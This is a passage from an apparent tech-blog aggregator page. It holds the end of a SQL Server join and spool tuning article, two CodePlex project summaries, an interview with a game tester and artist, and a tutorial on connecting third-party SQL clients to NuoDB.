D.ProductMainID AND P.ProductSubID = D.ProductSubID AND P.ProductSubSubID = D.ProductSubSubID ORDER BY D.ProductMainID OPTION (RECOMPILE, LOOP JOIN, MAXDOP 1, FORCE ORDER); I’ve also added LOOP JOIN and FORCE ORDER query hints to ensure that only nested loops joins are used, and that the tables are joined in the order they appear.  The new estimated execution plan is: This new query runs in under 2 seconds. Why Is It Faster? The main reason for the improvement is the appearance of the eager Index Spools, which are also known as index-on-the-fly spools.  If you read my Inside The Optimiser series you might be interested to know that the rule responsible is called JoinToIndexOnTheFly. An eager index spool consumes all rows from the table it sits above, and builds a index suitable for the join to seek on.  Taking the index spool above the #Custs table as an example, it reads all the CustomerID and TerritoryID values with a single scan of the table, and builds an index keyed on CustomerID.  The term ‘eager’ means that the spool consumes all of its input rows when it starts up.  The index is built in a work table in tempdb, has no associated statistics, and only exists until the query finishes executing. The result is that each unindexed table is only scanned once, and just for the columns necessary to build the temporary index.  From that point on, every execution of the inner side of the join is answered by a seek on the temporary index – not the base table. A second optimization is that the sort on ProductMainID (required by the ORDER BY clause) is performed early, on just the rows coming from the #OrdDetail table.  The optimizer has a good estimate for the number of rows it needs to sort at that stage – it is just the cardinality of the table itself.  The accuracy of the estimate there is important because it helps determine the memory grant given to the sort operation.  Nested loops join preserves the order of rows on its outer input, so sorting early is safe.  (Hash joins do not preserve order in this way, of course). The extra lazy spool on the #Prods branch is a further optimization that avoids executing the seek on the temporary index if the value being joined (the ‘outer reference’) hasn’t changed from the last row received on the outer input.  It takes advantage of the fact that rows are still sorted on ProductMainID, so if duplicates exist, they will arrive at the join operator one after the other. The optimizer is quite conservative about introducing index spools into a plan, because creating and dropping a temporary index is a relatively expensive operation.  It’s presence in a plan is often an indication that a useful index is missing. I want to stress that I rewrote the query in this way primarily as an educational exercise – I can’t imagine having to do something so horrible to a production system. Improving the Hash Join I promised I would return to the solution that uses hash joins.  You might be puzzled that SQL Server can create three new indexes (and perform all those nested loops iterations) faster than it can perform three hash joins.  The answer, again, is down to the poor information available to the optimizer.  Let’s look at the hash join plan again: Two of the hash joins have single-row estimates on their build inputs.  SQL Server fixes the amount of memory available for the hash table based on this cardinality estimate, so at run time the hash join very quickly runs out of memory. This results in the join spilling hash buckets to disk, and any rows from the probe input that hash to the spilled buckets also get written to disk.  The join process then continues, and may again run out of memory.  This is a recursive process, which may eventually result in SQL Server resorting to a bailout join algorithm, which is guaranteed to complete eventually, but may be very slow.  The data sizes in the example tables are not large enough to force a hash bailout, but it does result in multiple levels of hash recursion.  You can see this for yourself by tracing the Hash Warning event using the Profiler tool. The final sort in the plan also suffers from a similar problem: it receives very little memory and has to perform multiple sort passes, saving intermediate runs to disk (the Sort Warnings Profiler event can be used to confirm this).  Notice also that because hash joins don’t preserve sort order, the sort cannot be pushed down the plan toward the #OrdDetail table, as in the nested loops plan. Ok, so now we understand the problems, what can we do to fix it?  We can address the hash spilling by forcing a different order for the joins: SELECT P.ProductMainID AS PID, P.Name, D.OrderQty, H.SalesOrderNumber, H.OrderDate, C.TerritoryID FROM #Prods P JOIN #Custs C JOIN #OrdHeader H ON H.CustomerID = C.CustomerID JOIN #OrdDetail D ON D.SalesOrderID = H.SalesOrderID ON P.ProductMainID = D.ProductMainID AND P.ProductSubID = D.ProductSubID AND P.ProductSubSubID = D.ProductSubSubID ORDER BY D.ProductMainID OPTION (MAXDOP 1, HASH JOIN, FORCE ORDER); With this plan, each of the inputs to the hash joins has a good estimate, and no hash recursion occurs.  The final sort still suffers from the one-row estimate problem, and we get a single-pass sort warning as it writes rows to disk.  Even so, the query runs to completion in three or four seconds.  That’s around half the time of the previous hashing solution, but still not as fast as the nested loops trickery. Final Thoughts SQL Server’s optimizer makes cost-based decisions, so it is vital to provide it with accurate information.  We can’t really blame the performance problems highlighted here on anything other than the decision to use completely unindexed tables, and not to allow the creation of additional statistics. I should probably stress that the nested loops solution shown above is not one I would normally contemplate in the real world.  It’s there primarily for its educational and entertainment value.  I might perhaps use it to demonstrate to the sceptical that SQL Server itself is crying out for an index. Be sure to read Brad’s original post for more details.  My grateful thanks to him for granting permission to reuse some of his material. Paul White Email: [email protected] Twitter: @PaulWhiteNZ

  Read the article

• CodePlex Daily Summary for Wednesday, April 14, 2010

  CodePlex Daily Summary for Wednesday, April 14, 2010New Projectsbitly.net: A bitly (useing Version 3 of their API's) client for .NET (Version 3.5)Chord Sheet Editor Add-In for Word: Transpose music chord sheets (guitar chord sheets, etc.) in Microsoft Word using this VSTO Add-In.CloudSponge.Net: Simple .Net wrapper for www.cloudsponge.com's REST API.Database Searcher: This is a small tool for searching a typed value inside all type matching columns and rows of a database. For connecting the database a .NET data p...Edu Math: PL: Program Edu Math, ma na celu ułatwienie wykonywania skomplikowanych obliczeń oraz analiz matematycznych. EN: Program Edu Math, aims to facilita...fluent AOP: This project is not yet publishedFNA Fractal Numerical Algorithm for a new encryption technology: FNA Fractal Numerical Algorithm for a new encryption technology is a symmetrical encryption method based on two algorithms that I developed for: 1....Image viewer cum editor: This is a project on image viewing and editing. The project have following features VIEWER: Album Password security for albums Inbuilt Browser...JEngine - Tile Map Editor v1: JEngine - Tile Map Editor v1Jeremy Knight: Code samples, snippets, etc from my personal blog.lcskey: lcs test codemoldme: testesds ssdfsdfsNanoPrompt: NanoPrompt makes it more pleasant to work on a command-line. Features: - syntax-highlighting - graphical output possible - up to 12 "displays" (cha...nirvana: for testOffInvoice Add-in for MS Office 2010: Project Description: The project it's based in the ability to extend funtionality in the Microsoft Office 2010 suite.PowerSlim - Acceptance Testing for Enterprise Applications: PowerSlim makes it possible to use PowerShell in the acceptance testing. It is a small but powerful plugin for the Fitnesse acceptance testing fram...Proxi [Proxy Interface]: Proxi is a light-weight library that allows to generate dynamic proxies using different providers. By utilizing Proxi frameworks and libraries can ...Reality show about ASP.NET development: This application is created with using ASP.NET and Microsoft SQL Server for the demo purposes with the following target goals: example of usage fo...RecordLogon.vbs login script: RecordLogon.vbs is a script applied at logon via Group or Local policy. It records specific user and computer information and writes the data to a ...SpaceGameApplet: A java game ;)SpaceShipsGame: A game with space ships ";..;"SysHard: Info for Linux system.System Etheral™ - Developer: SE Dev (System Etheral™ - Developer) is an OS (Operating System) that is a bit like UNIX but it is for you to edit! We have not gave you much but w...TimeSheet Reporting Silverlight: TimeSheet Reporting application in Silver light. Contains a data grid containing combo boxes bound to different data sources like Members and Proje...TrayBird: A minimalistic twitter client for windows.Twitter4You: This appliction for windows is a communication for twitter!WCF RIA Services (+ PRISM + MVVM) LoB Application: WCF RIA Services sample LoB application (case study) built on PRISM with Entity Framework Model. It's a simple application for a fictive company Te...New ReleasesBluetooth Radar: Version 1.9: Change Search and Close Icons Add Device Detail ViewCloudSponge.Net: Alpha: Initial alpha release very limited tested includes *CloudSponge.dll *Sponge.exe (simple cmd line utility to import contacts, and test API)Global Assembly Cache comparison tool: GAC Compare version 3.1: Version 3.1Added export assemblies to directory functionalityHTML Ruby: 6.21.2: Some style adjustments Ruby text spacing is spaced out to keep Firefox responsive Status bar is backJEngine - Tile Map Editor v1: JEngine - Tile Map Editor V1: JEngine - Tile Map Editor V1 Discription SoonJeremy Knight: SQL Padding Functions v1.0: The entire scripts, including if exists logic, for SQL Padding Functions are included in this download.jqGrid ASP.Net MVC Control: Version 1.1.0.0: UPDATE 14-04 Fixed a small problem with the custom column renderers controller, And added a new example for a cascading-dropdownlist grid column A...JulMar MVVM Helpers + Behaviors: Version 1.06: This version is an update to MVVM Helpers that is built on Visual Studio 2010 RTM. It includes some minor updates to classes and a few new convert...lcskey: v 1.0: v1.0 基本能跑，未详细测试LINQ To Blippr: LINQ to Blippr: Download to test out and play around LINQ to Blippr based from blog posts: http://consultingblogs.emc.com/jonsharrattLINQ to XSD: 1.1.0: The LINQ to XSD technology provides .NET developers with support for typed XML programming. LINQ to XSD contributes to the LINQ project (.NET Langu...LINQ to XSD: 2.0.0: It is the same code as version 1.1 but compiled for .NET framework 4.0. Requirements: .NET Framework 4.0.LocoSync: LocoSync v0.1r2010.04.12: Second Alpha version of LocoSync. Download unzip and run setup. It will download the .NET framework if needed. It will create an icon in the start ...mojoPortal: 2.3.4.2: see release note on mojoportal.com http://www.mojoportal.com/mojoportal-2342-released.aspxNanoPrompt: Setup (.NET 4.0) - 20100414-A Nightly: The setup for NanoPrompt 0.Xa for Intel-80386- (32 or 64 bits) or Intel-Itanium-compatible targets with installed .NET-Framework 4.0 Client Profile...Neural Cryptography in F#: Neural Cryptography 0.0.5: This release provides the basic functionality that this project was supposed to have from the very beginning: it can hash strings using neural netw...NodeXL: Network Overview, Discovery and Exploration for Excel: NodeXL Class Libraries, version 1.0.1.121: The NodeXL class libraries can be used to display network graphs in .NET applications. To include a NodeXL network graph in a WPF desktop or Windo...nRoute Framework: nRoute.Toolkit Release Version 0.4: Note, both "nRoute.Framework (x3)" and "nRoute.Toolkit (x3)" zip files contains binaries for Web, Desktop and Mobile targets. Also this release wa...Numina Application/Security Framework: Numina.Framework Core 50381: Rebuilt using .NET 4 RTM One minor change made to the web.config file - added System.Data.Linq to the assemblies list.PokeIn Comet Ajax Library: PokeIn Lib and Sample: Great sample with usefull comet ajax library! .Net 2.0 Note : It was very easy to build this project with Visual Studio 10 ;)Powershell Zip File Export/Import Cmdlet Module: PowershellZip 0.1.0.3: Powershell-Zip 0.1.0.3 contains the cmdlets Export-Zip and Import-ZipPowerSlim - Acceptance Testing for Enterprise Applications: PowerSlim 0.1: Just PowerSlim. http://vlasenko.org/2010/04/09/howto-setup-powerslim-step-by-step/RDA Collaboration Team Projects: SharePoint BPOS Logging Framework: RDA's SharePoint BPOS logging framework is a very lightweight WSP Builder project that provides the following items: A Site feature that creates a...RecordLogon.vbs login script: LogonSearchGadget: This is the Windows Gadget companion for RecordLogon.RecordLogon.vbs login script: LogonSearchTool.hta: This is the HTA standalone script that runs inside of an IE window. The HTA is what presents the data the recordlogon.vbs creates. Please remember...RecordLogon.vbs login script: recordlogon.vbs: This is the main script that grabs the logon and computer information and dumps the info as text files to a defined folder share. Make sure to chec...Rensea Image Viewer: RIV 0.4.3: New Release of RIV. Added many many features! You would love it. You would need .NET Framework 4.0 to make it run With separated RIV up-loader, to...SharePoint Site Configurator Feature: SharePoint Site Configurator V2.0: Updated for SharePoint 2010 and added quite a lot of new functions. Compatible with SP2010, MOSS and WSS 3.0Sharp Tests Ex: Sharp Tests Ex 1.0.0RC2: Project Description #TestsEx (Sharp Tests Extensions) is a set of extensible extensions. The main target is write short assertions where the Visual...SQL Server Extended Properties Quick Editor: Release 1.6.2: Whats new in 1.6.2: Fixed several errors in LinqToSQL generated classes, solved generation EntitySet members. Its highly recomended to download and...SSRS SDK for PHP: SugarCRM Sample for SSRSReport: The zip file contains a sample SugarCRM module that shows how the SSRS SDK for PHP can be used to add simple reporting capabilities to the SugarCRM...System Etheral™ - Developer: System Etheral Dev v1.00: Comes with a VERY basic text editor and the ability to shutdown. Hopefully we will have a lot more stuff in version 1.01! But this is fine for now....Text to HTML: 0.4.2.0: ¡Gracias a Martin Lemburg por avisar de los errores y por sus sugerencias! Cambios de la versiónSustitución de los caracteres especiales alemanes:...TimeSheet Reporting Silverlight: v1.0 Source Code: Source CodeTwitter4You: Twitter 4 You - Version 1.0 (TESTER): Serialcode: http://joeynl.blogspot.com/2010/04/test-version-of-t4yv1.html Thanks JoeyNLVCC: Latest build, v2.1.30413.0: Automatic drop of latest buildVisioAutomation: VisioAutomation 2.5.1: VisioAutomation 2.5.1- Moved to Visual Studio 2010 (Still using .NET Framework 3.5) Changes Since 2.5.0- Solution and Projects are all based on Vi...Most Popular ProjectsRawrWBFS ManagerAJAX Control ToolkitMicrosoft SQL Server Product Samples: DatabaseSilverlight ToolkitWindows Presentation Foundation (WPF)ASP.NETMicrosoft SQL Server Community & SamplesPHPExcelFacebook Developer ToolkitMost Active ProjectsRawrAutoPocopatterns & practices – Enterprise LibraryGMap.NET - Great Maps for Windows Forms & PresentationFarseer Physics EngineNB_Store - Free DotNetNuke Ecommerce Catalog ModuleBeanProxyjQuery Library for SharePoint Web ServicesBlogEngine.NETFacebook Developer Toolkit

  Read the article

• NINE Questions with Michelle Juett

  - by NINEQuestions

  Michelle Juett is one of the more interesting people I know, even though we’ve never met face to face. She’s part artist, part techie and all cool. We “met” via my good buddy George Clingerman and have plotting to take over the world, errr… I mean “collaborating” ever since. If you happen to live in the Seattle area, you can catch her and her work at Sakura Con on April 2-4, 2010 and various other gamer and art cons throughout the year. You can also find her on Twitter as @Shelldragon. Now that you know a little bit, I’ll let her tell you the rest of the story in these NINE Questions: 1. Where are you from? I was born in Clearwater, Florida. I like to tell people I'm from the Bermuda Triangle, it just makes explaining myself so much easier. My family moved to Washington when I was 5 and I've been in the Pacific Northwest ever since. We like to QQ about the rain but we really love the green trees and clean water. 2. What do you do? I fight evil by moonlight and win love by daylight.. or something like that.  I’ve been in quality assurance for games during the day since January 2008 and an artist for life. I currently work in QA for a really awesome game company in Bellevue.  At home, I work on personal digital art, making game assets as well as other random freelance projects as they pop up. 3. How did you get to where you are now? I'm still not where I want to be but I'm getting closer. The biggest piece of advice I can give is to work hard and never settle for the minimum required. I tend to overwork myself but I've never regretted it. You can want something really bad but if you aren't willing to work for it, then you can't expect it to just happen. I've always drawn and had an unhealthy love for video games that I was told I’d grow out of.  I knew I would not ‘grow out’ of games and that real adults make them and I could too. After I graduated, in searching for jobs, I discovered game testing. I figured this would be a good way to get my foot in the door and start networking. I’ve worked with consoles, websites and now, PC games.  I stuck with my journey, although it has been a rocky one, daylighting as a tester and moonlighting as an artist. I'm still on that journey but I wouldn't have it any other way. Test has given me a perspective that is difficult, if not impossible, to obtain any other way. It gives an unconditional respect for other hard working testers and an insight into creative problem solving. 4. So video game testing probably sounds WAY cooler than the reality. What's it like? What's a given day for you? Game testers don't get a lot of respect because of their stigmas and the fact most people don't actually know what we do.  People hear about the opening and closing disc trays all day. Many places do treat their testers like numbers. It all depends on where you work and how awesome your company is. I've had to deal with a lot of bad work situations to get to a really good one. QA exists to ensure the game is as flawless and enjoyable as it can be by the time it has to leave the nest and go out into the world. This includes everything obvious: “can I beat the level and save the princess?” to the more obscure: ‘What happens when I lose internet connection while trying to save right before falling into a pit to my death while holding the jump key then my cat pulls out my memory card and hides it in her litter box?” On the dev side, for developers, testers can be very scary people. Especially when the test team is not in house and you can’t see each other’s faces.  I've seen both sides. We don't mean to hurt your feelings. We really DO love you and want your game to be the best it can be! It can be some serious tough love. 5. You are also an accomplished artist. Got any major projects right now you'd like to talk about? LOL, I don't know if I’d say I'm an accomplished artist just yet. I’m still a long way from where I want to be. I figure that’s what makes you grow though: the desire to never stop improving. I like QA but I want to be a full time artist. I was lucky enough to register for a table at Sakura Con in the 11 second window that the tables sold out. As such, I’ll be selling my wares in the Artist Alley April 2-4th. Part of preparing for this is actually making the art to be sold there. Anime is a fun pass time but I don’t draw a whole lot of it so I’m making up for lost time. As I seem to enjoy burying myself in work, I’m an art lead for a secret project that’s so secret I might be killed tonight for even mentioning it. I also take on various freelance projects and do what I can to help out indie games. I discovered the XNA community a year and a half ago and developed a love for Indies when I was writing a weekly newsletter on XBLA news. I’m a little late to the party but I find myself in a unique position where I am an artist and also have technical skills in games. While not programmer myself, I have a lot of game sense and experience. I hope to make some awesome happen. Lastly, I have an ongoing web comic Shell’s Angels) that tends to get neglected when I get busy. I still love drawing comics and keep a little book with me to sketch down ideas as they pop into my head. I may pick it back up again as a larger project sometime in the future. 6. Can you talk about any of the other freelance projects you're doing or are you sworn to secrecy on those too? We wouldn't want a team of game developer ninjas to take you out or anything. All my projects are currently 2d. I have personal projects such as the ongoing comic as well as a graphic novel I've been picking at here and there. My main focus until April is Sakura Con, Sakura Con, Sakura Con.  I see it as a great way to get exposure and convention experience. I found out I love conventions a couple years ago and I want to get more involved in them. 7. As an artist, what is your weapon of choice? What do you use to get most of your stuff done? I am a Photoshop Hero and I have the hoodie to prove it. (http://www.pennyarcademerch.com/pah090011.html) I've dabbled in other paint programs but I always gravitate back to Photoshop. She is my one true love. I'd like to learn programs like Flash or Anime Studio when I get a bit more time because of their animation abilities. I've worked on frame by frame animation forever but I would love to learn 2d rigging. Still, nothing can compare to a simple sketchpad and a pencil. I always have one on me in case I come across or think of something interesting and can't get to a computer. If the Courier ever comes to exist it will be an ideal weapon for me. 8. You did some videos too, depicting the art creation process. What was the motivation behind those? The creative process is just as important as the final product, if not more so.  I've always loved watching speed paint videos and wanted to try it out myself. Turns out it's a lot of work and time but it's definitely fun to go back and rewatch them. Art isn't always the end result and is more often the process itself. 9. Got any interesting tattoos? Designed any for yourself or other people? Not yet, but not for lack of desire. I've toiled over what and where for years. Last year, I finally decided the back of my shoulders would be the place. Like anything permanent, I want it to have meaning. I thought of somehow incorporating games but I couldn't find something I felt would stand the test of time even with all the classic sprite games. I'm very picky so we'll see if I can get something solid decided. Come see me at Sakura Con April 2 -4!!!

  Read the article

• CodePlex Daily Summary for Friday, July 19, 2013

  CodePlex Daily Summary for Friday, July 19, 2013Popular ReleasesuComponents: uComponents v5.5.0: Following on from our 101355 release, we bring you... v5.5.0! Resolved issues The following issues have been resolved in 5.5.0: 14634 14848 DataType Grid 14840 14842 14845 UpgradingThe best way to upgrade uComponents is to re-install via Umbraco's back-office package installer, (either from the package repository or a local package upload). Do not uninstall an existing uComponents package, as this may lead to data loss! Umbraco compatibilityThis release is compatible with Umbraco 4...51Degrees.mobi - Mobile Device Detection and Redirection: 2.1.19.4: One Click Install from NuGet This release introduces the 51Degrees.mobi IIS Vary Header Fix. When Compression and Caching is used in IIS, the Vary header is overwritten, making intelligent caching with dynamic content impossible. Find out more about installing the Vary Header fix. Changes to Version 2.1.19.4Handlers now have a ‘Count’ property. This is an integer value that shows how many devices in the dataset that use that handler. Provider.cs -> GetDeviceInfoByID to address a problem w...SalarDbCodeGenerator: SalarDbCodeGenerator v2.1.2013.0719: Version 2.1.2013.0719 2013/7/19 Pattern Changes: * DapperContext pattern is added. * All patterns are updated to work with one-to-one relations. Changes: * One-to-one relation is supported. * Minor bug fixes.Scryber PDF Generation: Scryber.Installer.v0.8.3: This one has tables! A significant update to the scryber library, with the inclusion of tables. There is no column span, or row span, and nested tables are not fully supported. But - they overflow nicely and are well styled. And they can be data bound. Other updates The Link element has inner components directly as a child, rather than in a Content element. The existing files will still continue to work, but are invalid wrt the schema. Databinding is now supported at the document level, r...Player Framework by Microsoft: Player Framework for Windows and WP (v1.3 beta 2): Includes all changes in v1.3 beta 1 Additional support for Windows 8.1 Preview New API (JS): addTextTrack New API (JS): msKeys New API (JS): msPlayToPreferredSourceUri New API (JS): msSetMediaKeys New API (JS): onmsneedkey New API (Xaml): SetMediaStreamSource method New API (Xaml): Stretch property New API (Xaml): StretchChanged event New API (Xaml): AreTransportControlsEnabled property New API (Xaml): IsFullWindow property New API (Xaml): PlayToPreferredSourceUri proper...Outlook 2013 Add-In: Multiple Calendars: As per popular request, this new version includes: - Support for multiple calendars. This can be enabled in the configuration by choosing which ones to show/hide appointments from. In some cases (public folders) it may time out and crash, and so far it only supports "My Calendars", so not shared ones yet. Also they're currently shown in the same font/color so there are no confusions with color categories, but please drop me a line on any suggestions you'd like to see implemented. - Added fri...GoAgent GUI: GoAgent GUI 1.2.0 ???: *???????，??????????????，?????????????? ????????* ????????(Beta) Beta????：https://goagent.codeplex.com/workitem/list/basic ??????：uygw@outlook.com ????：https://goagent.codeplex.com/documentation ?????????????????。Circuit Diagram: Circuit Diagram 2.0 Beta 2: New in this release: Show grid in editor Cut/copy/paste support Bug fixesAscend 3D: Ascend (2013-07-17): Ascend 2.1 Animation bugfixes and speed/robustness improvements Added compatibility for multiple top-level bones on armatures Ascend Blender Exporter 2.1 Removed need to create parent-child relationship between armature and skinning mesh Added support for exporting multiple top-level bones on armatures AscendViewer 1.0.4 Updated to use latest version of Ascend libraryCommunity TFS Build Extensions: July 2013: The July 2013 release contains VS2010 Activities(target .NET 4.0) VS2012 Activities (target .NET 4.5) VS2013 Activities (target .NET 4.5.1) Community TFS Build Manager VS2012 The Community TFS Build Manager can also be found in the Visual Studio Gallery here where updates will first become available. A version supporting VS2010 is also available in the Gallery here.smoketestgit1: new release: Wiki Markup Guide bold italics underline Heading 1 Heading 2 Bullet List Bullet List 2 Number List Number List 2 http://www.example.com Do not apply formattingsmoketesthg: new release: Wiki Markup Guide bold italics underline Heading 1 Heading 2 Bullet List Bullet List 2 Number List Number List 2 http://www.example.com Do not apply formattingsmoketesttfs: new release: Wiki Markup Guide bold italics underline Heading 1 Heading 2 Bullet List Bullet List 2 Number List Number List 2 http://www.example.com Do not apply formattingdatajs - JavaScript Library for data-centric web applications: datajs version 1.1.1: datajs is a cross-browser and UI agnostic JavaScript library that enables data-centric web applications with the following features: OData client that enables CRUD operations including batching and metadata support using both ATOM and JSON payloads. Single store abstraction that provides a common API on top of HTML5 local storage technologies. Data cache component that allows reading data ranges from a collection and storing them locally to reduce the number of network requests. Changes ...Orchard Project: Orchard 1.7 RC: Planning releasedTerminals: Version 3.1 - Release: Changes since version 3.0:15992 Unified usage of icons in user interface Added context menu in Organize favorites grid Fixed:34219 34210 34223 33981 34209 Install notes:No changes in database (use database from release 3.0) No upgrade of configuration, passwords, credentials or favorites See also upgrade notes for release 3.0Media Companion: Media Companion MC3.573b: XBMC Link - Let MC update your XBMC Library Fixes in place, Enjoy the XBMC Link function Well, Phil's been busy in the background, and come up with a Great new feature for Media Companion. Currently only implemented for movies. Once we're happy that's working with no issues, we'll extend the functionality to include TV shows. All the help for this is build into the application. Go to General Preferences - XBMC Link for details. Help us make it better* Currently only tested on local and ...Wsus Package Publisher: Release v1.2.1307.15: Fix a bug where WPP crash if 'ShowPendingUpdates' is start with wrong credentials. Fix a bug where WPP crash if ArrivalDateAfter and ArrivalDateBefore is equal in the ComputerView. Add a filter in the ComputerView. (Thanks to NorbertFe for this feature request) Add an option, when right-clicking on a computer, you can ask for display the current logon user of the remote computer. Add an option in settings to choose if WPP ping remote computers using IPv4, IPv6 or IPv6 and, if fail, IP...Lab Of Things: vBeta1: Initial release of LoTVidCoder: 1.4.23: New in 1.4.23 Added French translation. Fixed non-x264 video encoders not sticking in video tab. New in 1.4 Updated HandBrake core to 0.9.9 Blu-ray subtitle (PGS) support Additional framerates: 30, 50, 59.94, 60 Additional sample rates: 8, 11.025, 12 and 16 kHz Additional higher bitrates for audio Same as Source Constant Framerate 24-bit FLAC encoding Added Windows Phone 8 and Apple TV 3 presets Introduced process isolation for encodes. Now if HandBrake crashes, VidCoder will ...New Projects[C#]A Complete MySQL Manager Project: An open-source MySQL database manager oriented to multi-threading environments, supporting to create an entire database from scratch and edit it.bCal Javascript Calendar Generator: Using this simple javascript library, you can create simple navigable calendars in your website with just one line of user code.Better Network: Tools to delete network profile and network lists in Windows 8.C# Intellisense for Notepad++: 'CS-Script Intellisense' is a real C# intellisense solution based on CS-Script and ICSharpCode.NRefactory/Mono.Cecil.DARF: Dynamic Application Runtime Framework: A set of tools and libraries which help software developers create fully distributed and component-based applications. FeiXinV5: Just TestFollower Catcher: Game made for the 2012 Windows 8 Megathon. Second place in Madrid's local competition.MeeOS .NET: El primer sistema operativo GNU GPL en español.Music Vault: Music Vault is program to store your favorite music in one place, you can in any time move all your music library by moving only one file.MVC uTorrent: This is an ASP.NET MVC uTorrent front end, that utilises the uTorrent API. The main features: - Single page application - Can be hosted in IISMyTaskManager: This project Related to distribute the task to log in users OO2RDF: OO2RDF is a framework for data triplification. P(y)rotein Subcellular Location Image Database: A library that allows communication with an OMERO database, an open-source software for storage and manipulation of biological images.PE Toolbox: PE Toolbox ? ????? ?? ???????????, ????? ??????? ??? ??????????? ?? ?????. ???? ????? ??????????? ???????: - PE IFE (Importing from Excel) PeGscan: *PeGscan*ScriptZilla: ScriptZilla is an Free Editor for Windows with more Than 23 Languages.Sharepoint : Reconciliate SSRS Reports and Datasets with datasources Powershell: Powershell to link datasources to SSRS reports and datasetsSync-Moped: The idea behind the "Sync-Moped" is to synchronize two directories with backup functionality.System.Time: System.Time provides a type for .NET that allows the managing of a time in System.String, System.DateTime and System.TimeSpan form at the same time.Text Analytics: Project summary will be added later.Tibia Universal MC .NET: This tool was written as an attempt to port the [url:http://code.google.com/p/xenomc/] to the .NET Framework.VRFramework: VR Framework is a system for creating a virtual reality games using your PC, and Android smart phone, and Unity 3D.

  Read the article

• SQL – NuoDB and Third Party Explorer – SQuirreL SQL Client, SQL Workbench/J and DbVisualizer

  - by Pinal Dave

  I recently wrote a four-part series on how I started to learn about and begin my journey with NuoDB. Big Data is indeed a big world and the learning of the Big Data is like spaghetti – no one knows in reality where to start, so I decided to learn it with the help of NuoDB. You can download NuoDB and continue your journey with me as well. Part 1 – Install NuoDB in 90 Seconds Part 2 – Manage NuoDB Installation Part 3 – Explore NuoDB Database Part 4 – Migrate from SQL Server to NuoDB …and in this blog post we will try to answer the most asked question about NuoDB. “I like the NuoDB Explorer but can I connect to NuoDB from my preferred Graphical User Interface?” Honestly, I did not expect this question to be asked of me so many times but from the question it is clear that we developers absolutely want to learn new things and along with that we do want to continue to use our most efficient developer tools. Now here is the answer to the question: “Absolutely, you can continue to use any of the following most popular SQL clients.” NuoDB supports the three most popular 3rd-party SQL clients. In all the leading development environments there are always more than one database installed and managing each of them with a different tool is often a very difficult task. Developers like to use one tool, which can control most of the databases. Once developers are familiar with one database tool it is very difficult for them to switch to another tool. This is particularly difficult when we developers find that tool to be the key reason for our efficiency. Let us see how to install each of the NuoDB supported 3rd party tools along with a quick tutorial on how to go about using them. SQuirreL SQL Client First download SQuirreL Universal SQL client. On the Windows platform you can double-click on the file and it will install the SQuirrel client. Once it is installed, open the application and it will bring up the following screen. Now go to the Drivers tab on the left side and scroll it down. You will find NuoDB mentioned there. Now right click over it and click on Modify Driver. Now here is where you need to make sure that you make proper entries or your client will not work with the database. Enter following values: Name: NuoDB Example URL: jdbc:com:nuodb://localhost:48004/test Website URL: http://www.nuodb.com Now click on the Extra Class Path tab and Add the location of the nuodbjdbc.jar file. If you are following my blog posts and have installed NuoDB in the default location, you will find the default path as C:\Program Files\NuoDB\jar\nuodbjdbc.jar. The class name of the driver is automatically populated. Once you click OK you will see that there is a small icon displayed to the left of NuoDB, which shows that you have successfully configured and installed the NuoDB driver. Now click on the tab of Alias tab and you can notice that it is empty. Now click on the big Plus icon and it will open screen of adding an alias. “Alias” means nothing more than adding a database to your system. The database name of the original installation can be anything and, if you wish, you can register the database with any other alternative name. Here are the details you should fill into the Alias screen below. Name: Test (or your preferred alias) Driver: NuoDB URL: jdbc:com:nuodb://localhost:48004/test (This is for test database) User Name: dba (This is the username which I entered for test Database) Password: goalie (This is the password which I entered for test Database) Check Auto Logon and Connect at Startup and click on OK. That’s it! You are done. On the right side you will see a table name and on the left side you will see various tabs with all the relevant details from respective table. You can see various metadata, schemas, data types and other information in the table. In addition, you can also generate script and do various important tasks related to database. You can see how easy it is to configure NuoDB with the SQuirreL Client and get going with it immediately. SQL Workbench/J This is another wonderful client tool, which works very well with NuoDB. The best part is that in the Driver dropdown you will see NuoDB being mentioned there. Click here to download  SQL Workbench/J Universal SQL client. The download process is straight forward and the installation is a very easy process for SQL Workbench/J. As soon as you open the client, you will notice on following screen the NuoDB driver when selecting a New Connection Profile. Select NuoDB from the drop down and click on OK. In the driver information, enter following details: Driver: NuoDB (com.nuodb.jdbc.Driver) URL: jdbc:com.nuodb://localhost/test Username: dba Password: goalie While clicking on OK, it will bring up the following pop-up. Click Yes to edit the driver information. Click on OK and it will bring you to following screen. This is the screen where you can perform various tasks. You can write any SQL query you want and it will instantly show you the results. Now click on the database icon, which you see right on the left side of the word User=dba.  Once you click on Database Explorer, you can perform various database related tasks. As a developer, one of my favorite tasks is to look at the source of the table as it gives me a proper view of the structure of the database. I find SQL Workbench/J very efficient in doing the same. DbVisualizer DBVisualizer is another great tool, which helps you to connect to NuoDB and retrieve database information in your desired format. A developer who is familiar with DBVisualizer will find this client to be very easy to work with. The installation of the DBVisualizer is very pretty straight forward. When we open the client, it will bring us to the following screen. As a first step we need to set up the driver. Go to Tools >> Driver Manager. It will bring up following screen where we set up the diver. Click on Create Driver and it will open up the driver settings on the right side. On the right side of the area where it displays Driver Settings please enter the following values- Name: NuoDB URL Format: jdbc:com.nuodb://localhost:48004/test Now under the driver path, click on the folder icon and it will ask for the location of the jar file. Provide the path as a C:\Program Files\NuoDB\jar\nuodbjdbc.jar and click OK. You will notice there is a green button displayed at the bottom right corner. This means the driver is configured properly. Once driver is configured properly, we can go to Create Database Connection and create a database. If the pop up show up for the Wizard. Click on No Wizard and continue to enter the settings manually. Here is the Database Connection screen. This screen can be bit tricky. Here are the settings you need to remember to enter. Name: NuoDB Database Type: Generic Driver: NuoDB Database URL: jdbc:com.nuodb://localhost:48004/test Database Userid: dba Database Password: goalie Once you enter the values, click on Connect. Once Connect is pressed, it will change the button value to Reconnect if the connection is successfully established and it will show the connection details on lthe eft side. When we further explore the NuoDB, we can see various tables created in our test application. We can further click on the right side screen and see various details on the table. If you click on the Data Tab, it will display the entire data of the table. The Tools menu also has some very interesting and cool features like Driver Manager, Data Monitor and SQL History. Summary Well, this was a relatively long post but I find it is extremely essential to cover all the three important clients, which we developers use in our daily database development. Here is my question to you? Which one of the following is your favorite NuoDB 3rd-Party Database Client? (Pick One) SQuirreL SQL Client SQL Workbench/J DbVisualizer I will be very much eager to read your experience about NuoDB. You can download NuoDB from here. Reference: Pinal Dave (http://blog.SQLAuthority.com) Filed under: Big Data, PostADay, SQL, SQL Authority, SQL Query, SQL Server, SQL Tips and Tricks, T SQL, Technology Tagged: NuoDB

  Read the article

• NRF Online Merchandising Workshop: Where Online Retailers Are Focusing for Holiday and Beyond

